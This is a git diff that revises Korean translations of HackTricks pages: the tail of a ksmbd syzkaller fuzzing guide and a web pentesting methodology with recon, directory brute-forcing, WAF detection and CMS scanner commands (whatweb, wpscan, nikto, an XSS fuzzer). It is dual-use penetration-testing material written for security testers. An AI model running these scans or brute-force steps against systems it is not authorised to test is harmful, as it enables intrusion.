์ง€ํ•˜๊ธฐ ์œ„ํ•ด SMB2 PDUs์— ๋Œ€ํ•œ grammar๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. -- focus_areas๋ฅผ ์‚ฌ์šฉํ•ด ์ปค๋ฒ„๋ฆฌ์ง€๊ฐ€ ๋‚ฎ์€ ํ•จ์ˆ˜(์˜ˆ: smbacl.c์˜ smb_check_perm_dacl ๊ฒฝ๋กœ)์— ๋” ๋†’์€ ๋น„์ค‘์„ ๋ถ€์—ฌํ•˜์„ธ์š”. -- ์ •์ฒด๊ธฐ๋ฅผ ๊นจ๊ธฐ ์œ„ํ•ด ์‹ค์ œ pcaps์—์„œ ANYBLOB๋กœ ์‹œ๋“œํ•˜์„ธ์š”; ์žฌ์‚ฌ์šฉ์„ ์œ„ํ•ด ์‹œ๋“œ๋ฅผ syz-db๋กœ ํŒจํ‚ค์ง•ํ•˜์„ธ์š”. -- KASAN + UBSAN๋กœ ์‹คํ–‰ํ•˜์„ธ์š”; UBSAN declared-bounds ๋ฆฌํฌํŠธ๋Š” ์‹ ์ค‘ํžˆ ๋ถ„๋ฅ˜ํ•˜์„ธ์š”. +- ์•ฝํ•˜๊ฒŒ ์ปค๋ฒ„๋œ ํ•จ์ˆ˜์— ๊ฐ€์ค‘์น˜๋ฅผ ๋‘๊ธฐ ์œ„ํ•ด focus_areas๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š” (์˜ˆ: smbacl.c์˜ smb_check_perm_dacl ๊ฒฝ๋กœ). +- ์ •์ฒด๊ธฐ๋ฅผ ๊นจ๊ธฐ ์œ„ํ•ด ์‹ค์ œ pcaps์˜ ANYBLOB๋กœ ์‹œ๋“œ๋ฅผ ์ƒ์„ฑํ•˜๊ณ , ์žฌ์‚ฌ์šฉ์„ ์œ„ํ•ด syz-db๋กœ ์‹œ๋“œ๋“ค์„ ํŒจํ‚นํ•˜์„ธ์š”. +- KASAN + UBSAN๋กœ ์‹คํ–‰ํ•˜์„ธ์š”; UBSAN์˜ declared-bounds ๋ณด๊ณ ์„œ๋Š” ์‹ ์ค‘ํžˆ ๋ถ„์„ํ•˜์„ธ์š”. --- @@ -214,6 +214,6 @@ Setting num_subauth = 0์„ ์„ค์ •ํ•˜๋ฉด sub_auth[-1]์— ๋Œ€ํ•œ in-struct OOB rea - KCSAN: https://docs.kernel.org/dev-tools/kcsan.html - Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/ - Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures -- Background reading: pwning.tech โ€œTickling ksmbd: fuzzing SMB in the Linux kernelโ€; Dongliang Muโ€™s syzkaller notes +- ๋ฐฐ๊ฒฝ ์ฝ๊ธฐ: pwning.tech โ€œTickling ksmbd: fuzzing SMB in the Linux kernelโ€; Dongliang Muโ€™s syzkaller notes {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 6a539a50d..beb16be1c 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -1,10 +1,10 @@ -# 80,443 - Pentesting Web Methodology +# 80,443 - Pentesting ์›น ๋ฐฉ๋ฒ•๋ก  {{#include ../../banners/hacktricks-training.md}} ## ๊ธฐ๋ณธ ์ •๋ณด -์›น ์„œ๋น„์Šค๋Š” ๊ฐ€์žฅ **์ผ๋ฐ˜์ ์ด๊ณ  ๊ด‘๋ฒ”์œ„ํ•œ ์„œ๋น„์Šค**์ด๋ฉฐ ๋‹ค์–‘ํ•œ ์œ ํ˜•์˜ **์ทจ์•ฝ์ **์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. +์›น ์„œ๋น„์Šค๋Š” ๊ฐ€์žฅ **์ผ๋ฐ˜์ ์ด๊ณ  ๊ด‘๋ฒ”์œ„ํ•œ ์„œ๋น„์Šค**์ด๋ฉฐ ๋งŽ์€ **๋‹ค์–‘ํ•œ ์œ ํ˜•์˜ ์ทจ์•ฝ์ **์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. **๊ธฐ๋ณธ ํฌํŠธ:** 80 (HTTP), 443(HTTPS) ```bash @@ -17,7 +17,7 @@ PORT STATE SERVICE nc -v domain.com 80 # GET / HTTP/1.0 openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ``` -### Web API ๊ฐ€์ด๋“œ +### Web API ์•ˆ๋‚ด {{#ref}} @@ -26,29 +26,29 @@ web-api-pentesting.md ## ๋ฐฉ๋ฒ•๋ก  ์š”์•ฝ -> ์ด ๋ฐฉ๋ฒ•๋ก ์—์„œ๋Š” ๋„๋ฉ”์ธ(๋˜๋Š” ์„œ๋ธŒ๋„๋ฉ”์ธ) ํ•˜๋‚˜๋งŒ ๊ณต๊ฒฉํ•œ๋‹ค๊ณ  ๊ฐ€์ •ํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ด ๋ฐฉ๋ฒ•๋ก ์€ ๋ฒ”์œ„ ๋‚ด์—์„œ ์›น ์„œ๋ฒ„๊ฐ€ ๋ถˆ๋ช…ํ™•ํ•œ ๊ฐ ๋ฐœ๊ฒฌ๋œ ๋„๋ฉ”์ธ, ์„œ๋ธŒ๋„๋ฉ”์ธ ๋˜๋Š” IP์— ๋Œ€ํ•ด ์ ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. +> ์ด ๋ฐฉ๋ฒ•๋ก ์—์„œ๋Š” ๋„๋ฉ”์ธ(๋˜๋Š” ์„œ๋ธŒ๋„๋ฉ”์ธ) ํ•˜๋‚˜๋งŒ ๊ณต๊ฒฉํ•œ๋‹ค๊ณ  ๊ฐ€์ •ํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋ฒ”์œ„ ๋‚ด์—์„œ ๋ฐœ๊ฒฌ๋œ ๊ฐ ๋„๋ฉ”์ธ, ์„œ๋ธŒ๋„๋ฉ”์ธ ๋˜๋Š” ์›น ์„œ๋ฒ„๊ฐ€ ๋ถˆํ™•์‹คํ•œ IP์— ๋Œ€ํ•ด ์ด ๋ฐฉ๋ฒ•๋ก ์„ ์ ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. -- [ ] ์šฐ์„  ์›น ์„œ๋ฒ„์—์„œ ์‚ฌ์šฉ๋˜๋Š” **technologies**๋ฅผ **identifying**ํ•˜์‹ญ์‹œ์˜ค. ๊ธฐ์ˆ ์„ ์„ฑ๊ณต์ ์œผ๋กœ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ํ…Œ์ŠคํŠธ์˜ ๋‚˜๋จธ์ง€ ๋ถ€๋ถ„์—์„œ ์—ผ๋‘์— ๋‘˜ **tricks**์„ ์ฐพ์•„๋ณด์„ธ์š”. -- [ ] ํ•ด๋‹น ๊ธฐ์ˆ  ๋ฒ„์ „์— ์•Œ๋ ค์ง„ **known vulnerability**๊ฐ€ ์žˆ๋‚˜์š”? -- [ ] ์ž˜ ์•Œ๋ ค์ง„ **well known tech**๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋‚˜์š”? ๋” ๋งŽ์€ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ๋Š” **useful trick**์ด ์žˆ๋‚˜์š”? -- [ ] ์‹คํ–‰ํ•  **specialised scanner**๊ฐ€ ์žˆ๋‚˜์š”(์˜ˆ: wpscan)? -- [ ] **general purposes scanners**๋ฅผ ์‹คํ–‰ํ•˜์„ธ์š”. ๋ฌด์—‡์„ ์ฐพ์„์ง€, ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๋ฅผ ์ฐพ์„์ง€ ๋ชจ๋ฆ…๋‹ˆ๋‹ค. -- [ ] **initial checks**๋ถ€ํ„ฐ ์‹œ์ž‘ํ•˜์„ธ์š”: **robots**, **sitemap**, **404** error ๋ฐ **SSL/TLS scan**(HTTPS์ธ ๊ฒฝ์šฐ). -- [ ] ์›น ํŽ˜์ด์ง€ **spidering**์„ ์‹œ์ž‘ํ•˜์„ธ์š”: ์‚ฌ์šฉ ์ค‘์ธ ๋ชจ๋“  ๊ฐ€๋Šฅํ•œ **files, folders** ๋ฐ **parameters being used**๋ฅผ **find**ํ•  ์‹œ๊ฐ„์ž…๋‹ˆ๋‹ค. ๋˜ํ•œ **special findings**๋ฅผ ํ™•์ธํ•˜์„ธ์š”. -- [ ] _brute-forcing ๋˜๋Š” spidering ์ค‘์— ์ƒˆ๋กœ์šด ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ ๋ฐœ๊ฒฌ๋˜๋ฉด ํ•ด๋‹น ๋””๋ ‰ํ„ฐ๋ฆฌ๋Š” ํ•ญ์ƒ spidered ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค._ -- [ ] **Directory Brute-Forcing**: ๋ฐœ๊ฒฌ๋œ ๋ชจ๋“  ํด๋”๋ฅผ brute forceํ•˜์—ฌ ์ƒˆ๋กœ์šด **files** ๋ฐ **directories**๋ฅผ ๊ฒ€์ƒ‰ํ•ด ๋ณด์„ธ์š”. -- [ ] _brute-forcing ๋˜๋Š” spidering ์ค‘์— ์ƒˆ๋กœ์šด ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ ๋ฐœ๊ฒฌ๋˜๋ฉด ํ•ด๋‹น ๋””๋ ‰ํ„ฐ๋ฆฌ๋Š” ํ•ญ์ƒ Brute-Forced ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค._ -- [ ] **Backups checking**: ์ผ๋ฐ˜์ ์ธ ๋ฐฑ์—… ํ™•์žฅ์ž๋ฅผ ๋ถ™์—ฌ **discovered files**์˜ **backups**๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ๋Š”์ง€ ํ…Œ์ŠคํŠธํ•˜์„ธ์š”. -- [ ] **Brute-Force parameters**: ์ˆจ๊ฒจ์ง„ **parameters**๋ฅผ **find**ํ•ด ๋ณด์„ธ์š”. -- [ ] ๊ฐ€๋Šฅํ•œ ๋ชจ๋“  **endpoints** ์ค‘ **user input**์„ ๋ฐ›๋Š” ํ•ญ๋ชฉ์„ **identified**ํ•œ ํ›„, ํ•ด๋‹น ํ•ญ๋ชฉ๊ณผ ๊ด€๋ จ๋œ ๋ชจ๋“  ์ข…๋ฅ˜์˜ **vulnerabilities**๋ฅผ ๊ฒ€์‚ฌํ•˜์„ธ์š”. -- [ ] [์ด ์ฒดํฌ๋ฆฌ์ŠคํŠธ๋ฅผ ๋”ฐ๋ฅด์„ธ์š”](../../pentesting-web/web-vulnerabilities-methodology.md) +- [ ] ๋จผ์ € **์‹๋ณ„**ํ•  ๊ฒƒ: ์›น ์„œ๋ฒ„๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” **๊ธฐ์ˆ (technologies)**์„ ํŒŒ์•…ํ•˜์„ธ์š”. ๊ธฐ์ˆ ์„ ์ •ํ™•ํžˆ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ์ดํ›„ ํ…Œ์ŠคํŠธ์—์„œ ์œ ์˜ํ•  **ํŠธ๋ฆญ(tricks)**์„ ์ฐพ์•„๋‘์„ธ์š”. +- [ ] ํ•ด๋‹น ๊ธฐ์ˆ  ๋ฒ„์ „์— ์•Œ๋ ค์ง„ **์•Œ๋ ค์ง„ ์ทจ์•ฝ์ (known vulnerability)**์ด ์žˆ๋‚˜์š”? +- [ ] ์ž˜ ์•Œ๋ ค์ง„ **๊ธฐ์ˆ (well known tech)**์„ ์‚ฌ์šฉ ์ค‘์ธ๊ฐ€์š”? ์ •๋ณด๋ฅผ ๋” ์–ป๊ธฐ ์œ„ํ•œ **์œ ์šฉํ•œ ๊ธฐ๋ฒ•(useful trick)**์ด ์žˆ๋‚˜์š”? +- [ ] ์‹คํ–‰ํ•  **์ „๋ฌธํ™”๋œ ์Šค์บ๋„ˆ(specialised scanner)**๊ฐ€ ์žˆ๋‚˜์š”(์˜ˆ: wpscan)? +- [ ] **์ผ๋ฐ˜ ๋ชฉ์  ์Šค์บ๋„ˆ(general purposes scanners)**๋ฅผ ์‹คํ–‰ํ•˜์„ธ์š”. ๋ญ”๊ฐ€๋ฅผ ์ฐพ์•„๋‚ผ์ง€ ๋˜๋Š” ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๋ฅผ ์–ป์„์ง€ ๋ชจ๋ฆ…๋‹ˆ๋‹ค. +- [ ] **์ดˆ๊ธฐ ์ ๊ฒ€(initial checks)**๋ถ€ํ„ฐ ์‹œ์ž‘ํ•˜์„ธ์š”: **robots**, **sitemap**, **404** error ๋ฐ **SSL/TLS scan**(HTTPS์ผ ๊ฒฝ์šฐ). +- [ ] ์›น ํŽ˜์ด์ง€ **spidering**์„ ์‹œ์ž‘ํ•˜์„ธ์š”: ์‚ฌ์šฉ ์ค‘์ธ ๊ฐ€๋Šฅํ•œ ๋ชจ๋“  **ํŒŒ์ผ(files)**, **ํด๋”(folders)** ๋ฐ **ํŒŒ๋ผ๋ฏธํ„ฐ(parameters being used)**๋ฅผ **์ฐพ์•„(find)** ๋ณด์„ธ์š”. ๋˜ํ•œ **ํŠน์ด์‚ฌํ•ญ(special findings)**์„ ์ ๊ฒ€ํ•˜์„ธ์š”. +- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._ +- [ ] **Directory Brute-Forcing**: ๋ฐœ๊ฒฌ๋œ ๋ชจ๋“  ํด๋”๋ฅผ brute forceํ•˜์—ฌ ์ƒˆ๋กœ์šด **ํŒŒ์ผ(files)** ๋ฐ **๋””๋ ‰ํ„ฐ๋ฆฌ(directories)**๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”. +- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ +- [ ] **๋ฐฑ์—… ํ™•์ธ(Backups checking)**: ๋ฐœ๊ฒฌ๋œ **ํŒŒ์ผ(discovered files)**์˜ **๋ฐฑ์—…(backups)**์„ ์ฐพ์„ ์ˆ˜ ์žˆ๋Š”์ง€ ์ผ๋ฐ˜์ ์ธ ๋ฐฑ์—… ํ™•์žฅ์ž๋ฅผ ๋ถ™์—ฌ ํ…Œ์ŠคํŠธํ•˜์„ธ์š”. +- [ ] **Brute-Force parameters**: ์ˆจ๊ฒจ์ง„ **ํŒŒ๋ผ๋ฏธํ„ฐ(hidden parameters)**๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”. +- [ ] ๋ชจ๋“  ๊ฐ€๋Šฅํ•œ **์—”๋“œํฌ์ธํŠธ(endpoints)** ์ค‘ **์‚ฌ์šฉ์ž ์ž…๋ ฅ(user input)**์„ ๋ฐ›๋Š” ํ•ญ๋ชฉ์„ **์‹๋ณ„(identified)**ํ•œ ํ›„, ๊ด€๋ จ๋œ ๋ชจ๋“  ์ข…๋ฅ˜์˜ **์ทจ์•ฝ์ (vulnerabilities)**์„ ๊ฒ€์‚ฌํ•˜์„ธ์š”. +- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md) -## ์„œ๋ฒ„ ๋ฒ„์ „ (์ทจ์•ฝํ•œ๊ฐ€?) +## Server Version (Vulnerable?) -### Identify +### ์‹๋ณ„ -์‹คํ–‰ ์ค‘์ธ ์„œ๋ฒ„ **version**์— ๋Œ€ํ•ด ์•Œ๋ ค์ง„ **known vulnerabilities**๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.\ -์‘๋‹ต์˜ **HTTP headers and cookies**๋Š” ์‚ฌ์šฉ ์ค‘์ธ **technologies** ๋ฐ/๋˜๋Š” **version**์„ **identify**ํ•˜๋Š” ๋ฐ ๋งค์šฐ ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. **Nmap scan**์€ ์„œ๋ฒ„ ๋ฒ„์ „์„ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, ๋„๊ตฌ [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) ๋˜๋Š” [**https://builtwith.com/**](https://builtwith.com)**๋„ ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:** +์‹คํ–‰ ์ค‘์ธ ์„œ๋ฒ„ **๋ฒ„์ „(version)**์— ๋Œ€ํ•œ **์•Œ๋ ค์ง„ ์ทจ์•ฝ์ (known vulnerabilities)**์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.\ +์‘๋‹ต์˜ **HTTP headers and cookies of the response**๋Š” ์‚ฌ์šฉ ์ค‘์ธ **technologies** ๋ฐ/๋˜๋Š” **version**์„ **identify**ํ•˜๋Š” ๋ฐ ๋งค์šฐ ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. **Nmap scan**์€ ์„œ๋ฒ„ ๋ฒ„์ „์„ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech**](https://github.com/ShielderSec/webtech) ๋˜๋Š” [**https://builtwith.com/**](https://builtwith.com)**์™€ ๊ฐ™์€ ๋„๊ตฌ๋“ค๋„ ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive @@ -57,15 +57,15 @@ webanalyze -host https://google.com -crawl 2 ``` Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) -### **WAF๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธ** +### **WAF๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ธฐ** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### ์›น ๊ธฐ์ˆ  ํŠธ๋ฆญ +### Web tech tricks -์‚ฌ์šฉ ์ค‘์ธ ๋‹ค์–‘ํ•œ ์ž˜ ์•Œ๋ ค์ง„ **technologies**์—์„œ **finding vulnerabilities**๋ฅผ ์œ„ํ•œ ๋ช‡ ๊ฐ€์ง€ **tricks**: +์‚ฌ์šฉ ์ค‘์ธ ๋‹ค์–‘ํ•œ ์ž˜ ์•Œ๋ ค์ง„ **๊ธฐ์ˆ **์—์„œ **์ทจ์•ฝ์  ์ฐพ๊ธฐ**๋ฅผ ์œ„ํ•œ ๋ช‡ ๊ฐ€์ง€ **ํŠธ๋ฆญ**: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -102,20 +102,19 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) - [**Sitecore**](sitecore/index.html) -_๋‹ค์Œ์„ ๊ณ ๋ คํ•˜์„ธ์š”: **same domain**์€ ์„œ๋กœ ๋‹ค๋ฅธ **ports**, **folders**, **subdomains**์—์„œ **different technologies**๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค._\ -์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์•ž์„œ ๋‚˜์—ด๋œ ์ž˜ ์•Œ๋ ค์ง„ **tech/platform listed before** ๋˜๋Š” **any other**๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋‹ค๋ฉด, ์ƒˆ๋กœ์šด ํŠธ๋ฆญ์„ ์ธํ„ฐ๋„ท์—์„œ ๊ฒ€์ƒ‰ํ•˜๋Š” ๊ฒƒ์„ ์žŠ์ง€ ๋งˆ์„ธ์š”(๊ทธ๋ฆฌ๊ณ  ์•Œ๋ ค์ฃผ์„ธ์š”!). +_๊ฐ™์€ ๋„๋ฉ”์ธ์ด ์„œ๋กœ ๋‹ค๋ฅธ **ํฌํŠธ**, **ํด๋”**, **์„œ๋ธŒ๋„๋ฉ”์ธ**์—์„œ **๋‹ค๋ฅธ ๊ธฐ์ˆ **์„ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ์„ ์ˆ˜ ์žˆ์Œ์„ ๊ณ ๋ คํ•˜์„ธ์š”._\ +์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์•ž์„œ ๋‚˜์—ด๋œ ์ž˜ ์•Œ๋ ค์ง„ **tech/platform listed before** ๋˜๋Š” **any other**๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋‹ค๋ฉด, ์ƒˆ๋กœ์šด ํŠธ๋ฆญ์„ ์ธํ„ฐ๋„ท์—์„œ ๋ฐ˜๋“œ์‹œ ๊ฒ€์ƒ‰ํ•˜์„ธ์š”(๊ทธ๋ฆฌ๊ณ  ์•Œ๋ ค์ฃผ์„ธ์š”!). ### ์†Œ์Šค ์ฝ”๋“œ ๋ฆฌ๋ทฐ -์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ **source code**๊ฐ€ **github**์— ๊ณต๊ฐœ๋˜์–ด ์žˆ๋‹ค๋ฉด, ์ž์ฒด์ ์œผ๋กœ **White box test**๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ๊ฒƒ ์™ธ์—๋„ ํ˜„์žฌ์˜ **Black-Box testing**์— ์œ ์šฉํ•  ์ˆ˜ ์žˆ๋Š” **some information**์ด ์žˆ์Šต๋‹ˆ๋‹ค: - -- ์›น์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ **Change-log or Readme or Version** ํŒŒ์ผ์ด๋‚˜ **version info accessible**๊ฐ€ ์žˆ๋‚˜์š”? -- **credentials**๋Š” ์–ด๋–ป๊ฒŒ ์–ด๋””์— ์ €์žฅ๋˜๋‚˜์š”? ์ž๊ฒฉ ์ฆ๋ช…(์‚ฌ์šฉ์ž๋ช… ๋˜๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ)์ด ํฌํ•จ๋œ (์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ?) **file**์ด ์žˆ๋‚˜์š”? -- **passwords**๋Š” **plain text**, **encrypted** ์ƒํƒœ์ธ๊ฐ€์š”, ์•„๋‹ˆ๋ฉด ์–ด๋–ค **hashing algorithm**์ด ์‚ฌ์šฉ๋˜๋‚˜์š”? -- ๋ฌด์–ธ๊ฐ€๋ฅผ ์•”ํ˜ธํ™”ํ•˜๊ธฐ ์œ„ํ•ด **master key**๋ฅผ ์‚ฌ์šฉํ•˜๋‚˜์š”? ์–ด๋–ค **algorithm**์ด ์‚ฌ์šฉ๋˜๋‚˜์š”? -- ์–ด๋–ค ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ์ด๋Ÿฌํ•œ **files** ์ค‘ ํ•˜๋‚˜์— **access any of these files** ํ•  ์ˆ˜ ์žˆ๋‚˜์š”? -- **github**์˜ **issues**(ํ•ด๊ฒฐ๋œ ๊ฒƒ๊ณผ ํ•ด๊ฒฐ๋˜์ง€ ์•Š์€ ๊ฒƒ)์— ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๊ฐ€ ์žˆ๋‚˜์š”? ๋˜๋Š” **commit history**(์˜ˆ: ์˜ค๋ž˜๋œ ์ปค๋ฐ‹์— **password introduced inside an old commit**๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์„ ์ˆ˜ ์žˆ์Œ)์—๋Š”์š”? +์•ฑ์˜ **source code**๊ฐ€ **github**์— ๊ณต๊ฐœ๋˜์–ด ์žˆ๋‹ค๋ฉด, ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๋Œ€ํ•ด ์ง์ ‘ **White box test**๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ๊ฒƒ ์™ธ์—๋„ ํ˜„์žฌ์˜ **Black-Box testing**์— **์œ ์šฉํ•œ** ๋ช‡ ๊ฐ€์ง€ ์ •๋ณด๊ฐ€ ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +- ์›น์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ **Change-log or Readme or Version** ํŒŒ์ผ์ด๋‚˜ **version info accessible** ๊ฐ™์€ ๊ฒƒ์ด ์žˆ๋Š”๊ฐ€? +- **credentials**๋Š” ์–ด๋–ป๊ฒŒ ์–ด๋””์— ์ €์žฅ๋˜์–ด ์žˆ๋Š”๊ฐ€? (์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ) **file**์— credentials(์‚ฌ์šฉ์ž๋ช… ๋˜๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ)๊ฐ€ ์žˆ๋Š”๊ฐ€? +- **passwords**๊ฐ€ **plain text**๋กœ ๋˜์–ด ์žˆ๋Š”๊ฐ€, **encrypted** ๋˜์–ด ์žˆ๋Š”๊ฐ€, ์•„๋‹ˆ๋ฉด ์–ด๋–ค **hashing algorithm**์ด ์‚ฌ์šฉ๋˜๋Š”๊ฐ€? +- ๋ญ”๊ฐ€๋ฅผ ์•”ํ˜ธํ™”ํ•˜๊ธฐ ์œ„ํ•ด **master key**๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋Š”๊ฐ€? ์–ด๋–ค **algorithm**์ด ์‚ฌ์šฉ๋˜๋Š”๊ฐ€? +- ์–ด๋–ค ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜์—ฌ ์ด๋Ÿฌํ•œ **files**์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”๊ฐ€? +- **interesting information in the github**(ํ•ด๊ฒฐ๋œ ๊ฒƒ๊ณผ ํ•ด๊ฒฐ๋˜์ง€ ์•Š์€ ๊ฒƒ ๋ชจ๋‘)์ด **issues**์— ์žˆ๋Š”๊ฐ€? ๋˜๋Š” **commit history**์— ์žˆ๋Š”๊ฐ€(์˜ˆ: ์˜ค๋ž˜๋œ ์ปค๋ฐ‹์— **password introduced inside an old commit**)? {{#ref}} code-review-tools.md @@ -123,7 +122,7 @@ code-review-tools.md ### ์ž๋™ ์Šค์บ๋„ˆ -#### General purpose automatic scanners +#### ๋ฒ”์šฉ ์ž๋™ ์Šค์บ๋„ˆ ```bash nikto -h whatweb -a 4 @@ -137,12 +136,12 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi ``` #### CMS ์Šค์บ๋„ˆ -CMS๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ **์Šค์บ๋„ˆ๋ฅผ ์‹คํ–‰ํ•˜์„ธ์š”**, ์˜์‹ฌํ•  ๋งŒํ•œ ์œ ์šฉํ•œ ๊ฒฐ๊ณผ๊ฐ€ ๋ฐœ๊ฒฌ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +CMS๋ฅผ ์‚ฌ์šฉ ์ค‘์ด๋ผ๋ฉด **์Šค์บ๋„ˆ๋ฅผ ์‹คํ–‰ํ•˜์„ธ์š”**, ์˜์™ธ๋กœ ํฅ๋ฏธ๋กœ์šด ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** ์›น์‚ฌ์ดํŠธ์˜ ๋ณด์•ˆ ๋ฌธ์ œ ๊ฒ€์‚ฌ. (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** ์›น์‚ฌ์ดํŠธ์˜ ๋ณด์•ˆ ๋ฌธ์ œ๋ฅผ ํƒ์ง€ํ•ฉ๋‹ˆ๋‹ค. (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ -**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **or** [**(M)oodle**](moodle.md)\ +**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **๋˜๋Š”** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) ```bash cmsmap [-f W] -F -d @@ -150,15 +149,15 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> ์ด ์‹œ์ ์—์„œ๋Š” ์ด๋ฏธ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” ์›น ์„œ๋ฒ„์— ๋Œ€ํ•œ ์ผ๋ถ€ ์ •๋ณด(์ฃผ์–ด์กŒ๋‹ค๋ฉด)์™€ ํ…Œ์ŠคํŠธ ์ค‘์— ์œ ์˜ํ•  ๋ช‡ ๊ฐ€์ง€ ์š”๋ น์„ ๊ฐ€์ง€๊ณ  ์žˆ์–ด์•ผ 